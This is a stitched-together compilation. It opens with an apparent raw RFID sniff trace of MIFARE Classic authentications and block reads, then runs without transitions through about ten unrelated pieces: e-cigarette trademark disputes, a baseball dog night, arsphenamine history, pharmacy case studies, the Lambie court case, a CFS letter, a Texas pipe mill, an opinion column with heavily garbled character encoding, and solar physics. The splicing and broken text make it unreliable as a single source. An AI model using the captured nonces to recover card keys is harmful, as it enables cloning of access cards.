!crc| ? 14905544 | 14910280 | Tag | 7e b4 92 10 | | 14971264 | 14976032 | Rdr | 30 00 02 a8 | | READBLOCK(0) 14990260 | 15011060 | Tag | 6a! 4e! a0! f2! 0e! 2b 62! 5b bf! 5e! c7! c9 cc d4 21 f2 | | | | | 14 70! | !crc| 15888824 | 15893528 | Rdr | 30 01 8b b9 | | READBLOCK(1) 15907820 | 15928620 | Tag | 67! f6 7a! 04 33 cc a4! 50 52! 06! e1 18! ad! 12 b6! ea | | | | | e0 cb! | !crc| 17072476 | 17077180 | Rdr | 30 02 10 8b | | READBLOCK(2) 17091472 | 17112336 | Tag | fa f6 cc! eb f0! e1 4e 80 25! 5e! e2! 7d 74! 07 f9! 91 | | | | | ee! 03! | !crc| 18554422 | 18559190 | Rdr | 30 03 99 9a | | READBLOCK(3) 18573418 | 18594218 | Tag | 48 0d e0 b8 9b! 3d 36! 0e! d1! 83 54! 27 e3 56 27 ef! | | | | | 6e 1b | !crc| 19397110 | 19401878 | Rdr | 60 04 d1 3d | | AUTH-A(4) 19408106 | 19412842 | Tag | fe ad 30 a1 | | 19414198 | 19423574 | Rdr | f2 d0 e7 f6 18 a3 a8 a9 | !crc| ? 19431786 | 19436522 | Tag | 4b 7d be b5 | | 20589978 | 20594682 | Rdr | 30 04 26 ee | | READBLOCK(4) 20609038 | 20629838 | Tag | 5c! 1d! 05! a1! 7c! 3a! 79 dd 46 dd! f5 d6! 48 d4! 05 46 | | | | | 1a! 44 | !crc| 21545434 | 21550202 | Rdr | 30 05 af ff | | READBLOCK(5) 21564430 | 21585230 | Tag | d3! 70! 54! 7c! 12! 13! 2a! 88! 89! 12 0e! 6c! 09! 9d! ba! cc | | | | | f9! c3 | !crc| 22581952 | 22586656 | Rdr | 30 06 34 cd | | READBLOCK(6) 22601012 | 22621812 | Tag | 17 b8! 3f! 39! 67 25 15! 48 c4 45! b8 96 f2 03 96 82 | | | | | fd! a2! | !crc| 24288220 | 24292924 | Rdr | 30 07 bd dc | | READBLOCK(7) 24307216 | 24328080 | Tag | 38 e6 b8 91 78 31 3c cb d2! e3 c6 7f! 73 8c 74! fa! | | | | | 43! 3e | !crc| 25036800 | 25041568 | Rdr | 60 08 bd f7 | | AUTH-A(8) 25047860 | 25052596 | Tag | fe ad 30 a1 | | 25054134 | 25063446 | Rdr | 56 0d b3 97 23 58 dd 47 | !crc| ? 25071466 | 25076138 | Tag | a4 37 2e fc | | 26194388 | 26199156 | Rdr | 30 08 4a 24 | | READBLOCK(8) 26213320 | 26234184 | Tag | 37 91! b0! b2 ca 2a 33 00 c8 71 02 87 c0 28! 99 8a! | | | | | c1 ef | !crc| 27257378 | 27262146 | Rdr | 30 09 c3 35 | | READBLOCK(9) 27276502 | 27297366 | Tag | 33! a7! b8! a3! e9 7f! 94! 32 53 64! 3c! 35 a4 b9! e0! 12 | | | | | 19 2b! | !crc| 28273216 | 28277984 | Rdr | 30 0a 58 07 | | READBLOCK(10) 28292276 | 28313140 | Tag | b6 b5 73! 78 e6 5d a7! 6e 95! c1 a1 51 29! 24! 77 70 | | | | | 24 b8! | !crc| 29249656 | 29254360 | Rdr | 30 0b d1 16 | | READBLOCK(11) 29268460 | 29289260 | Tag | 5c f1 44 51! a9! 76! 95 bb! 20! fe 70! 5f f1! a5! 32 d0 | | | | | 71! 5f | !crc| 29958676 | 29963380 | Rdr | 60 0c 99 b1 | | AUTH-A(12) 29969608 | 29974344 | Tag | fe ad 30 a1 | | 29975764 | 29985140 | Rdr | 3f 07 62 7a 82 83 80 64 | !crc| ? 29993288 | 29997960 | Tag | f3 4c 67 30 | | 31075866 | 31080570 | Rdr | 30 0c 6e 62 | | READBLOCK(12) 31094926 | 31115790 | Tag | bb! 3f 4e 32 33! 6f 3c! 31 29 11 94! 38 ab! da 37 3b! | | | | | 17 ce | !crc| 32052992 | 32057696 | Rdr | 30 0d e7 73 | | READBLOCK(13) 32071988 | 32092788 | Tag | 37! e2 94 39! 03! b9! 42! 9d af! 5d 6d 31! 8c! 64 27 6a! | | | | | 24! 69 | !crc| 33201406 | 33206174 | Rdr | 30 0e 7c 41 | | READBLOCK(14) 33220274 | 33241138 | Tag | ff! a7! 92 01! aa! 71! 33 52 2b f2! be 2a! 8c! d0! 9a! 99 | | | | | 79! 0c! | !crc| 34139062 | 34143766 | Rdr | 30 0f f5 50 | | READBLOCK(15) 34157802 | 34178666 | Tag | 6b! 19! 5d 4a! 77 4d! aa d7! 8a! 5a b3 8e! 26 32 1c! c9 | | | | | 68 fb | !crc| 34932472 | 34937240 | Rdr | 60 10 74 6b | | AUTH-A(16) 34943468 | 34948204 | Tag | fe ad 30 a1 | | 34949568 | 34958880 | Rdr | 0e cc 1b 8d d4 14 23 97 | !crc| ? 34967220 | 34971956 | Tag | a8 65 5d 75 | | 36259802 | 36264570 | Rdr | 30 10 83 b8 | | READBLOCK(16) 36278670 | 36299470 | Tag | 47 82 12! 35! bb 2a f5! 79! a0! 61! 58! bc! 60 fe! 76! 6c! | | | | | 4e! 4d | !crc| 37263202 | 37267906 | Rdr | 30 11 0a a9 | | READBLOCK(17) 37282262 | 37303062 | Tag | 7e! 1f 4d 66! f7! a0! 05! 85 71! b1 6a! 19! a0! a3! 6d ad | | | | | b0 7d | !crc| 38276544 | 38281312 | Rdr | 30 12 91 9b | | READBLOCK(18) 38295604 | 38316468 | Tag | a6 8a! de! 73 f3 48 66! e9! 4e d4 e2 b4 26! e6 97 e5! | | | | | 85! c2 | !crc| 39230336 | 39235104 | Rdr | 30 13 18 8a | | READBLOCK(19) 39249332 | 39270132 | Tag | 63! 06 df! c7 92! 17 db b7! ec 27! 36 65! 5c 4f ae 86! | | | | | aa 08! | !crc| 42238804 | 42243572 | Rdr | 60 14 50 2d | | AUTH-A(20) 42249800 | 42254536 | Tag | fe ad 30 a1 | | 42255898 | 42265210 | Rdr | 2f e0 65 80 d9 da 4c 96 | !crc| ? 42273550 | 42278286 | Tag | b6 fe 27 f7 | | 43290360 | 43295128 | Rdr | 30 14 a7 fe | | READBLOCK(20) 43309292 | 43330156 | Tag | b2 90 d2 10 db 78 58! 7c! 6c bc! 94 d7 7e 84! 4f! 0e | | | | | 26 b9 | !crc| 44232832 | 44237536 | Rdr | 30 15 2e ef | | READBLOCK(21) 44251828 | 44272692 | Tag | 4d d4! bb 80! c2! 8c 37 89! 80! b4! 41 e8 94! bc d1 18! | | | | | a0 56! | !crc| 45172160 | 45176928 | Rdr | 30 16 b5 dd | | READBLOCK(22) 45191220 | 45212084 | Tag | 8f! c6 86! 4e 96! 8b! 6f 9c 80 9f! e3! c6! 37 ff 70 2b | | | | | 9b! 20 | !crc| 46048026 | 46052730 | Rdr | 30 17 3c cc | | READBLOCK(23) 46067086 | 46087950 | Tag | 13! b7 51 6a ad 02! e5 68 6c! 09! da! 55 3d 44! 26! f1 | | | | | bf! 82! | !crc| 46877332 | 46882036 | Rdr | 60 18 3c e7 | | AUTH-A(24) 46888136 | 46892872 | Tag | fe ad 30 a1 | | 46894242 | 46903618 | Rdr | 4d f2 53 49 69 c6 51 81 | !crc| ? 46911958 | 46916694 | Tag | 37 8a 46 4f | | 47947968 | 47952736 | Rdr | 30 18 cb 34 | | READBLOCK(24) 47967028 | 47987892 | Tag | a4 bd! f7! 50! 21 fa! f3 e2! 8b! 37 33 b0 e5! 38 59 e8! | | | | | c8 83 | !crc| 48899392 | 48904160 | Rdr | 30 19 42 25 | | READBLOCK(25) 48918452 | 48939252 | Tag | 2c 3f! 51! 32 b7! 4d 30 3c! 0d 1f f7! 14! 8f c7 0d 37 | | | | | 82 84 | !crc| 49827490 | 49832258 | Rdr | 30 1a d9 17 | | READBLOCK(26) 49846614 | 49867478 | Tag | 27! f1! 20 55 bc! 62! 30 ac 7a! 3e 2f! 58! 68 c5 d8 c0 | | | | | d7! bb! | !crc| 50783770 | 50788474 | Rdr | 30 1b 50 06 | | READBLOCK(27) 50802830 | 50823630 | Tag | 1d! 16 66! 46 fc! 62 9a! 0a! da! 80! 57! db 39! b0 a8! 6b | | | | | cd a1! | !crc| 51543038 | 51547806 | Rdr | 60 1c 18 a1 | | AUTH-A(28) 51553970 | 51558706 | Tag | fe ad 30 a1 | | 51560220 | 51569596 | Rdr | 0c b0 10 73 43 b7 d4 e7 | !crc| ? 51577616 | 51582352 | Tag | e7 3e 66 04 | | 52773624 | 52778392 | Rdr | 30 1c ef 72 | | READBLOCK(28) 52792556 | 52813356 | Tag | 23 c9! 6b! e4 74 c4! e0 73 15! 20 93! 63! d3 63! 6d 45 | | | | | 32! c0 | !crc| 53663864 | 53668632 | Rdr | 30 1d 66 63 | | READBLOCK(29) 53682796 | 53703660 | Tag | e1! 93 98! 78! 87! ad! 1c 19! 44 8a cb! ec! 7a! de 92 6d | | | | | 80! 06! | !crc| 54689080 | 54693848 | Rdr | 30 1e fd 51 | | READBLOCK(30) 54708076 | 54728940 | Tag | 3e f3 d6 11 30 1e be e4 5a 94! 74 ca! 15 ef 2b 2a! | | | | | 41 6a! | !crc| 55616320 | 55621024 | Rdr | 30 1f 74 40 | | READBLOCK(31) 55635380 | 55656180 | Tag | 5c 69! 00! 0a! c4! e1! e2! 5c 8f 55! 9e e4 41! 8c 36! ae! | | | | | 06! 61! | !crc| 56561920 | 56566688 | Rdr | 60 20 f7 5a | | AUTH-A(32) 56572980 | 56577716 | Tag | fe ad 30 a1 | | 56579070 | 56588446 | Rdr | 07 33 e5 fd 1a 4f b6 be | !crc| ? 56596658 | 56601330 | Tag | 09 8c 9b 84 | | 57712276 | 57716980 | Rdr | 30 20 00 89 | | READBLOCK(32) 57731144 | 57752008 | Tag | 6f! ed d8 6a 26 fb! 2c 65! 93! bd! f5! 11 b8! f7 eb 60! | | | | | c0 98 | !crc| 58679586 | 58684354 | Rdr | 30 21 89 98 | | READBLOCK(33) 58698710 | 58719510 | Tag | 2e 20 6b! 32! de! 6f 22 70 69 7e 7e! 9f f6 56! 83! f4! | | | | | 85! 08! | !crc| 59577172 | 59581940 | Rdr | 30 22 12 aa | | READBLOCK(34) 59596104 | 59616968 | Tag | dd d0! 52 2f e1 c6 de! 91 c3 b4! 9f 0c! 17! 75 c5! 1b | | | | | 01! c4 | !crc| 60572706 | 60577474 | Rdr | 30 23 9b bb | | READBLOCK(35) 60591830 | 60612694 | Tag | 1e ed 1f! 4d! 2c 96! 4c 54! 81 7e db 1b! 5e e4 d3 42 | | | | | 4e a6! | !crc| 61311030 | 61315798 | Rdr | 60 24 d3 1c | | AUTH-A(36) 61322090 | 61326826 | Tag | fe ad 30 a1 | | 61328220 | 61337532 | Rdr | 96 a9 b0 1e d4 52 6c e8 | !crc| ? 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RICHMOND, Virginia (AP) — Owners of brands geared toward children of all ages are battling to keep notable names like Thin Mint, Tootsie Roll and Cinnamon Toast Crunch off the flavored nicotine used in electronic cigarettes.
General Mills, the Girl Scouts of the USA and Tootsie Roll Industries are among several companies that have sent cease-and-desist letters to makers of the liquid nicotine demanding they stop using the brands and may take further legal action if necessary. They want to make sure their brands aren't being used to sell an addictive drug or make it appealing to children.
The actions highlight the debate about the array of flavors available for the battery-powered devices that heat a liquid nicotine solution, creating vapor that users inhale. The Food and Drug Administration last month proposed regulating electronic cigarettes but didn't immediately ban fruit or candy flavors, which are barred for use in regular cigarettes because of the worry that the flavors are used to appeal to children.
It's growing pains for the industry that reached nearly $2 billion in sales last year in the face of looming regulation. E-cigarette users say the devices address both the addictive and behavioral aspects of smoking without the thousands of chemicals found in regular cigarettes.
There are about 1,500 e-liquid makers in the U.S. and countless others abroad selling vials of nicotine from traditional tobacco to cherry cola on the Internet and in retail stores, often featuring photos of the popular treats. Using a brand name like Thin Mint or Fireball conjures up a very specific flavor in buyers' minds, in a way that just "mint chocolate" or "cinnamon" doesn't.
"Using the Thin Mint name — which is synonymous with Girl Scouts and everything we do to enrich the lives of girls — to market e-cigarettes to youth is deceitful and shameless," Girl Scouts spokeswoman Kelly Parisi said in a statement. Thin Mints are one type of cookie sold by Girl Scouts to fund their organization.
The issue of illegally using well-known brands on e-cigarette products isn't new for some. For a couple of years, cigarette makers R.J. Reynolds Tobacco and Philip Morris USA have fought legal battles with websites selling e-cigarette liquid capitalizing on their Camel and Marlboro brand names and imagery. The companies have since released their own e-cigarettes but without using their top-selling brand names.
"It's the age-old problem with an emerging market," said Linc Williams, board member of the American E-liquid Manufacturing Standards Association and an executive at NicVape, which produces liquid nicotine. "As companies goes through their maturity process of going from being a wild entrepreneur to starting to establish real corporate ethics and product stewardship, it's something that we're going to continue to see."
Williams said his company is renaming many of its liquids to names that won't be associated with well-known brands. Some companies demanded NicVape stop using brand names, such as Junior Mints, on their liquid nicotine. In other cases, the company is taking proactive steps to removing imagery and names like gummy bear that could be appealing to children.
"Unfortunately, it's not going to change unless companies come in and assert their intellectual property," he said.
And that's what companies are starting to do more often as the industry has rocketed from thousands of users in 2006 to several million worldwide, bringing the issue to the forefront.
"We're family oriented. A lot of kids eat our products, we have many adults also, but our big concern is we have to protect the trademark," said Ellen Gordon, president and chief operating officer of Tootsie Roll Industries. "When you have well-known trademarks, one of your responsibilities is to protect (them) because it's been such a big investment over the years."
Michael Felberbaum can be reached on Twitter @MLFelberbaum.
Copyright 2014 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.
The Detroit Tigers are hosting their first ever "Bark at the Park" at Comerica Park on June 21, as the Tigers face the Seattle Mariners.
Fans can purchase the exclusive 'Bark at the Park' Night ticket package that includes one ticket for a dog and its owner, access to the 'Bark at the Park' party area, featuring water stations, dog "restrooms" and other amenities, postgame dog 'walk around the bases,' and exclusive Tigers dog bandana for $40.00 per pair of tickets (one adult ticket, one dog ticket). Additional adult tickets can be purchased.
A limited supply of tickets are available for purchase starting Thursday, May 26 at 12:00 p.m. For more information or to purchase the ticket package, visit tigers.com/dog.
A special 'Bark at the Park' event ticket is required to participate. 'Bark at the Park' packages can only be purchased online.
No day-of-game sales. No exceptions.
All participants must provide a copy of all up-to-date vaccinations upon check in (entry will not be granted without this printed information).
Yesterday, with Borussia Dortmund trailing 2 -1 in the 87th minute of their Champions League match against Real Madrid, Pulisic flashed the tantalizing ability that has fans salivating for the future of American soccer. He set up the equalizer on a brilliant cross to Andre Schurrle.
Arsphenamine, also known as Salvarsan or compound 606, is a drug that was introduced at the beginning of the 1910s as the first effective treatment for syphilis, and was also used to treat trypanosomiasis.[2] This organoarsenic compound was the first modern chemotherapeutic agent.
History [ edit ]
[3] Salvarsan treatment kit for syphilis, Germany, 1909-1912
Arsphenamine was first synthesized in 1907 in Paul Ehrlich's lab by Alfred Bertheim.[4] The antisyphilitic activity of this compound was discovered by Sahachiro Hata in 1909, during a survey of hundreds of newly synthesized organic arsenical compounds. Ehrlich had theorized that by screening many compounds, a drug could be discovered that would have anti-microbial activity but not kill the human patient. Ehrlich's team began their search for such a "magic bullet" among chemical derivatives of the dangerously toxic drug atoxyl. This project was the first organized team effort to optimize the biological activity of a lead compound through systematic chemical modifications, the basis for nearly all modern pharmaceutical research.
Arsphenamine was used to treat the disease syphilis because it is toxic to the bacterium Treponema pallidum, a spirochete that causes syphilis.
Arsphenamine was originally called "606" because it was the sixth in the sixth group of compounds synthesized for testing; it was marketed by Hoechst AG under the trade name "Salvarsan" in 1910.[5][6] Salvarsan was the first organic antisyphilitic, and a great improvement over the inorganic mercury compounds that had been used previously. It was distributed as a yellow, crystalline, hygroscopic powder that was highly unstable in air.[7] This significantly complicated administration, as the drug had to be dissolved in several hundred milliliters of distilled, sterile water with minimal exposure to air to produce a solution suitable for injection. Some of the side effects attributed to Salvarsan, including rashes, liver damage, and risks of life and limb, were thought to be caused by improper handling and administration.[8] This caused Ehrlich, who worked assiduously to standardize practices, to observe, "the step from the laboratory to the patient's bedside ... is extraordinarily arduous and fraught with danger." [5]
Ehrlich's laboratory developed a more soluble (but slightly less effective) arsenical compound, Neosalvarsan (neoarsphenamine), which was easier to prepare, and it became available in 1912. Less severe side-effects such as nausea and vomiting were still common. An additional problem was that both Salvarsan and Neosalvarsan had to be stored in sealed vials under a nitrogen atmosphere to prevent oxidation. These arsenical compounds were supplanted as treatments for syphilis in the 1940s by penicillin.[9]
After leaving Ehrlich's laboratory, Hata continued parallel investigation of the new medicines in Japan.[10]
Structure [ edit ]
Salvarsan has long been assumed to have an As=As double bond, akin to the N=N linkage in azobenzene. However, in 2005, in an extensive mass spectrometric analysis Salvarsan was shown to have As–As single bonds, not As=As double bonds. The drug was also found to be a mixture consisting of cyclo-As 3 and cyclo-As 5 species.[1][5][11]
See also [ edit ]
PROBLEM : According to a February 2004 poll conducted for the Associated Press, one of every three respondents said that paying for prescriptions was a problem for their families. 1 Of those, three out of every four said they had put off filling their prescriptions or cut back on doses because of the cost. One in 10 people also admitted to buying prescription medications illegally from Canada, Mexico, or another foreign country to get a better price.
Case Studies
A woman with a serious bleeding problem waited several days before admitting that she had filled her prescriptions in Mexico. She had arrived at the emergency department with bleeding gums; conjunctival bleeding; and ongoing pain, swelling, and discoloration of her foot for several days after stubbing her toe.
The patient’s laboratory results looked dangerously similar to those reflecting an overdose of warfarin (Coumadin, Bristol-Myers Squibb). Her prothrombin time was 105, the International Normalized Ratio was 13.9, and the partial thromboplastin time was 91.8. However, she denied taking warfarin and claimed that she had not been exposed to rodenticides. After she was admitted to the hospital, her physician actually refused to let visitors bring in any food for her because he was worried that someone was trying to poison her!
Two days later, the patient finally told her physician that she had recently purchased a prescription for ramipril (Altace, King) 5 mg from Mexico. When her family brought the medication into the hospital, the staff noticed that the prescription label said “Altace 2 Day,” but the manufacturer’s label underneath the pharmacy label said “warfarina” 5 mg. The patient had been taking 5 mg of warfarin twice daily for three weeks.
Another patient found it difficult to tell her health care provider that her prescription benefits had run out. In November, her physician had prescribed an antihypertensive medication to control her newly diagnosed hypertension. Sadly, she was too embarrassed to tell the doctor that she could not afford to fill the prescription until January, when her insurance limits would be renewed.
When her blood pressure was still elevated in December, her physician increased the dose. Then in January, when her prescription benefits were reinstated, she filled the newer prescription for the higher dose. Her blood pressure dropped dangerously low, and she had to be hospitalized for treatment.
Updated
Legal documents describing senator Jacqui Lambie talking about her sex life, using foul language and behaving aggressively in the workplace have been made public, despite the efforts of her legal team.
The material was contained in an initial court submission made by Rob Messenger, the Tasmanian senator's former chief of staff.
Mr Messenger is taking Senator Lambie and the Commonwealth of Australia to the Fair Work Division of the Federal Court, claiming he and his wife Fern Messenger, who was Senator Lambie's former office manager, were unlawfully dismissed in May 2017.
The court documents, obtained by the ABC, showed Mr Messenger's initial statement of claim detailed a number of alleged incidents and complaints regarding Senator Lambie's office conduct, including regular comments about her sex life, aggressive behaviour and use of explicit language.
He claimed Senator Lambie regularly announced to staff words to the effect "I desperately need a root", and that "her excessive alcohol consumption could impact upon her work health and safety and that of the staff working within her office".
Mr Messenger has since made an amended claim which does not contain these details.
But they, and all court documentation relating to the case, were suppressed during an administrative hearing at the Federal Court in Hobart at the beginning of August.
On Thursday that order was lifted by Federal Court Justice Tony Pagone, but Senator Lambie's lawyer, Rick Catanzariti, argued certain elements should still have remained under wraps because Mr Messenger's current statement of claim does not include them.
Lambie's lawyer argues details in claim were 'scandalous'
Mr Catanzariti said some of the matters described in the initial claim were "scandalous in nature" and should be removed on the basis they were designed to "bear cruelly" upon Senator Lambie.
Justice Pagone rejected the application, telling the court "a matter cannot be scandalous if it is relevant to proceedings".
He said the content might be graphic but was relevant to workplace conduct.
Appearing outside the Federal Court in Hobart, Mr Messenger said it would be inappropriate to make a statement, but did offer a brief comment.
"The matter's before the courts, it's still active, so unfortunately any questions you will have we can only answer in court with our hands on the Bible," he said.
He said he and his wife were grateful they would have the opportunity to pursue their claims.
"We're just happy that we're able to tell our story in the court, under oath," he said.
The proceedings are scheduled to continue in October.
'Nothing to hide,' Lambie says
Senator Lambie said Mr Messenger's comments had taken a personal toll on her.
"The fact he's already walked away from his original statement of claim looks like not even he believes the hurtful things he's saying," she said.
"I have nothing to hide. All I have is my reputation, and he's trying to take that away from me."
"Mr Messenger's original statement of claim was full of material that was highly objectionable, prejudicial and embarrassing.
"It was replaced by a new document, yet by quirk of the court rules, the now discarded document becomes available to look at.
"I consider that Mr Messenger's campaign to humiliate me and my office with any false and hurtful claims is an attempt to force me to make concessions in the legal proceedings."
Topics: government-and-politics, work, community-and-society, courts-and-trials, hobart-7000, tas
Chronic fatigue syndrome
Exercise intolerance
Exhaustion
Respiratory chain
Letter to the Editor
With interest we read the article by Billing-Ross et al. [1] about 193 patients with chronic fatigue syndrome (CFS) diagnosed according to the Fukuda or Canadian Consensus criteria and undergoing sequencing of the mtDNA, the DePaul Symptom questionnaire and the Medical Outcome Survey Short Form-36. The study showed that CFS is associated with mtDNA haplogroups J, U and H, that 8 mtDNA single nucleotide polymorphisms (SNPs) were associated with 16 symptom categories, and that three haplogroups were associated with six symptom categories [1]. We have the following comments and concerns.
The main limitation of this study is that only the mtDNA was investigated for sequence variants. Since it is well-known that mitochondrial disorders (MIDs) may be also caused by mutations in nDNA-located genes, particularly in children [2], disease-causing mutations or SNPs facilitating the development of CFS may have been missed. Furthermore, MIDs may not only be due to respiratory chain dysfunction but also due to disruption of other mitochondrial pathways, such as the beta-oxidation, the hem synthesis, the calcium handling, the coenzyme-Q metabolism, or the urea cycle. There is also consensus that investigations of mtDNA mutations or SNPs in mtDNA from lymphocytes may not be constructive since some mutations may not be present or heteroplasmy rates may be lower than in more severely affected tissues [3].
A further limitation of the study is that neither immune-histological nor biochemical investigations of the muscle biopsy were carried out. Immune-histological investigations of the muscle biopsy may show NADH-, SDH-, or COX-deficiency. Biochemical investigations of the muscle homogenate may show reduced activity of one or several respiratory chain complexes or coenzyme-Q deficiency [4]. Morphological and functional studies are essential not to miss dysfunction of the respiratory chain or other mitochondrial pathways.
We also should be informed how causes of fatigue, exhaustion, and exercise intolerance other than CFS, were excluded. How many patients had muscle disease other than a MID, which may be also associated with fatigue, such as muscular dystrophies or congenital myopathies [5, 6]? How many had hypothyroidism, sleep apnea syndrome, malignancy, electrolyte disturbances, adrenal dysfunction, or pituitary insufficiency? Were any of the routine laboratory parameters abnormal in the 193 patients? How many had creatine-kinase (CK) elevation or lactacidosis? How many presented with features other than fatigue which could be attributed to a MID? How many had epilepsy, cognitive impairment, extra-pyramidal disease, or psychiatric disease? How many had a cataract, glaucoma, retinitis, or chronic progressive external ophthalmoplegia (CPEO)? It would be interesting to known if any of the patients had cardiac disease, gastrointestinal disease, renal impairment, endocrine disturbances, or lung disease indicative of a MID?
Nothing is reported about the previous history of the 197 patients and their permanent medication [1]. How often was the family history positive for CFS or a MID?
Overall, this interesting study may profit from providing more information about the individual patients and their relatives and from carrying out more comprehensive morphological, functional, and genetic studies not to miss metabolic defects, which may be due to sequence variations in nDNA located mitochondrial genes. There is also a need to exclude cardiac, pulmonary, or systemic disease not to miss differentials of CSF.
In Bay City, south of Houston and 20 miles north of the Gulf Coast, Rudolph Henry, a technology engineer, has seen firsthand what has happened to good jobs in the manufacturing sector.
“I spent 28 years in a steel manufacturing plant in Rosenberg, Texas. We made small diameter steel tubing mainly for the petrochemical industry,” Henry said.
But in 2002, that steel pipe factory north of here closed, like so many plants facing cut-throat competition from overseas. Henry never again worked in a factory. But here’s the thing: he’s now teaching a new generation of workers how to work in a factory.
“It’s like your life has come to a full circle,” Henry said, sitting in the offices of Wharton County Junior College’s branch in Bay City. Henry leads the college’s industrial technology program.
“We are in an area where industry is expanding. And I think industry is coming back as it used to be,” Henry said.
Inside what had been a Kmart, the college has built classrooms and with the help of corporate donors, has filled them with shiny new industrial equipment. Students learn how to weld, build electric motors and how to work with steel pipe; the kind of pipe Henry used to help make years ago and which now could be re-making the economy of Bay City.
A few miles from the junior college on the outskirts of town is what could be trans-formative. Rising from a field is a construction project costing over a billion and a half dollars.
As seen from a catwalk high above the ground floor, big concrete mixer trucks look almost as small as toys, driving around inside the building which now covers an area as big as 20 football fields.
“This is one building, one roof, 25 acres big, and eight floors tall,” German Cura who runs the North American operations for a global company called Tenaris.
Tenaris is one of the world’s biggest makers of steel pipe for the oil & gas drilling industry. But previously, the pipe it supplied to oil fields in Texas was made in Tenaris’s factories in Argentina and Romania.
Cura drives around the perimeter of the site and explains why Tenaris picked Bay City and decided to continue with the project even though low oil prices mean drilling has plummeted.
“When people ask me why is it you are doing this, the short answer is one, we came to conclude the U.S. market could be serviced in a far more effective way. Two, there is a super opportunity to replace give or take 50 percent of imports (of drilling pipe). And I tell you, oil at $30 is creating the appropriate conditions for us to do it,” Cura said.
As Cura tells it, this new pipe mill will be incredibly more efficient than older plants. Automation means it’ll employ fewer workers though it will still need 600 employees when it opens next year. He says it’ll produce far less pollution from its natural gas furnaces. And he says it’ll be a more nimble operation, allowing the company to meet custom orders “just in time”.
Cura says the end result will be an ability to compete with low-cost producers like China and take back a chunk of the drilling pipe market, half of which he says has been going to foreign producers.
And for the community of Bay City, Cura predicts it’ll be a new day.
“Our experience, we’ve done this around the world many, Bay City, five, ten years from now will be a drastically different place, “ said Cura.
“€œThe deflection tactic of Sundeen and his ilk deserves a name. It’s being employed with such frequency, it’s gone beyond being merely a cliché; it’s now a full-fledged strategy.”€
That was Taki’s own David Cole, justifiably frustrated by the left’s current favorite rhetorical gambit:
Confronted with still another example of reality’s refusal to conform to their theories, they reflexively mouth something like “€œBut what about the Crusades/Hitler/the Spanish Inquisition/insert another inapt historical analogy here?”€
Like Cole, I”€™ve encountered this annoying progressive tic far too often on Twitter and elsewhere. Countering these counterfactual comebacks is easy now that I”€™ve created a handy Evernote “€œcheat sheet”€ from which I cut and paste weaponized links about those topics above. The one about the inarguably anti-Christian Hitler Youth leader’s manual makes for a particularly effective virtual ball gag.
“€œThey always say it comes as a relief when the doctors finally give your symptoms a name, but that’s not as true when the name is especially homely.”€
(P.S. Another lethal historical injection? More Catholics were killed by left-wing atheists”€”like my typical sparring partner”€”during the Spanish Civil War than “€œheretics”€ were killed during the 350-year Spanish Inquisition.)
Anyhow, yes, we do have to give this irritating “€œfull-fledged strategy”€ a name, if only, like Adam with the animals, to acquire a degree of power over this “€œdeflection tactic.”€
My two suggestions? “€œMcVeighing”€ and/or “€œsquirrel!ing.”€
I”€™m favoring the former because it implies greater, more self-aware intent“€”rather than mere “€œHey, look over there!”€ distraction on the leftist’s part. But I”€™m not satisfied with either.
As I was saying last week, my formerly steel-trap mind has almost rusted stuck. If I do say so myself, I was once pretty good at coining words and phrases. I remain particularly proud of “€œunderbussing,”€ which Word Spy wrongly attributes to another Canadian blogger, who in fact got it from me a month prior.
Alas, I now rely on sites like Word Spy to keep me up to date on the latest neologisms, and can only envy all the nimbler minds out there, minting names for each new technological development, emergent sociological phenomenon, or crowning First World Problem.
I”€™m deeply indebted to the comedy troupe Broken People for hammering out “€œbitchy resting face,”€ for instance. I”€™ve been afflicted with that “€œdisorder”€ since around the age of 5, judging by photographs, in which I invariably look like a squat, dirty-blond, bell-bottomed version of Wednesday Addams. I don”€™t actually care“€”the affliction’s worst side effect has been all the hobos shouting, “€œSMILE!!!“€ at me on the street”€”I just never liked the clinical descriptor “€œflat affect.”€
(Related: The thing I most loathed about being diagnosed with lupus wasn”€™t the arthritis or the fatigue or even the bright pink facial rash, but the uncommonly repulsive word “€œlupus.”€ They always say it comes as a relief when the doctors finally give your symptoms a name, but that’s not as true when the name is especially homely. Why couldn”€™t I at least get a prettier-sounding disease, like “€œmalaria”€ or whatever the hell “€œthrush”€ is? Also, if, as the old vaudevillians used to say, “€œwords with a k are funny,”€ then it’s equally true that words with a u are ugly”€”including, appropriately enough, the word “€œugly.”€ What can I say? Words are my business.)
Solar physicists here at the semiannual meeting of the American Astronomical Society this week offered a number of mechanisms to shed light on what has been happening on the sun of late, but conceded that the final answer—or more likely answers—remains opaque. Beyond scientific understanding, motivations for better solar weather forecasts include hopes to use them to safeguard against electrical grid disruptions, damage to Earth-orbiting satellites and threats to the health of space travelers posed by solar radiation flare-ups.
One researcher has looked for clues to solar weather in the meridional flow, which moves from the solar equator toward the poles, and which seems to change speed during the shifting solar cycle. Another looked at the solar "jet stream," a slow current that originates at solar mid-latitudes and pushes in a bifurcated stream toward both the equator and the poles. Another scientist examined the inner workings of the sun through the oscillation of sound waves propagating through the solar interior; yet another looked at magnetic maps to chart the shifting flux across the sun.
"I think we're almost in violent agreement that this is an interesting minimum," said David Hathaway of the NASA Marshall Space Flight Center in Huntsville, Ala. By several measures—geomagnetic activity, weakness of polar magnetic fields, flagging solar deflection of galactic cosmic rays—the minimum was the deepest on record, Hathaway said, although some of those records contain just a few cycles. Hathaway focused on shifting speeds of the meridional flow, finding that the flow was anomalously fast at the most recent minimum. But, speaking of heliophysics forecasting techniques in general, he cautioned against leaping to any conclusions based on small-number statistics. "We need to be careful about extending what we've seen in one or two cycles to all of them," he said.
Frank Hill of the National Solar Observatory (NSO) instead examined the jet stream, a periodic east–west flow of material that corresponds with the onset and end of the solar cycle. With helioseismology data, which track acoustic oscillations on the sun, researchers can check in on the progress of the jet stream at depths of roughly 1,000 kilometers, potentially allowing for better forecasts of the timing of the solar cycle. But it is "still too early to tell" if the jet stream can robustly predict solar activity, Hill acknowledged, noting that the stream could be a cause or an effect of the cycle.
Hill's NSO colleague Sushanta Tripathy also turned to helioseismology to investigate the recent solar minimum, finding that in acoustic oscillations deep within the sun there were in fact two separate minima—one in late 2007 that did not correspond to the sunspot minimum, and one around late 2008 that did. In prior data, from 1995 to 2007, the frequency shifts in the oscillations had matched up well with the sunspot counts. And at shallower depths within the sun, the seismic and sunspot activity were in phase for the most recent solar minimum as well. All in all, the cycle was definitely unusual, Tripathy said.
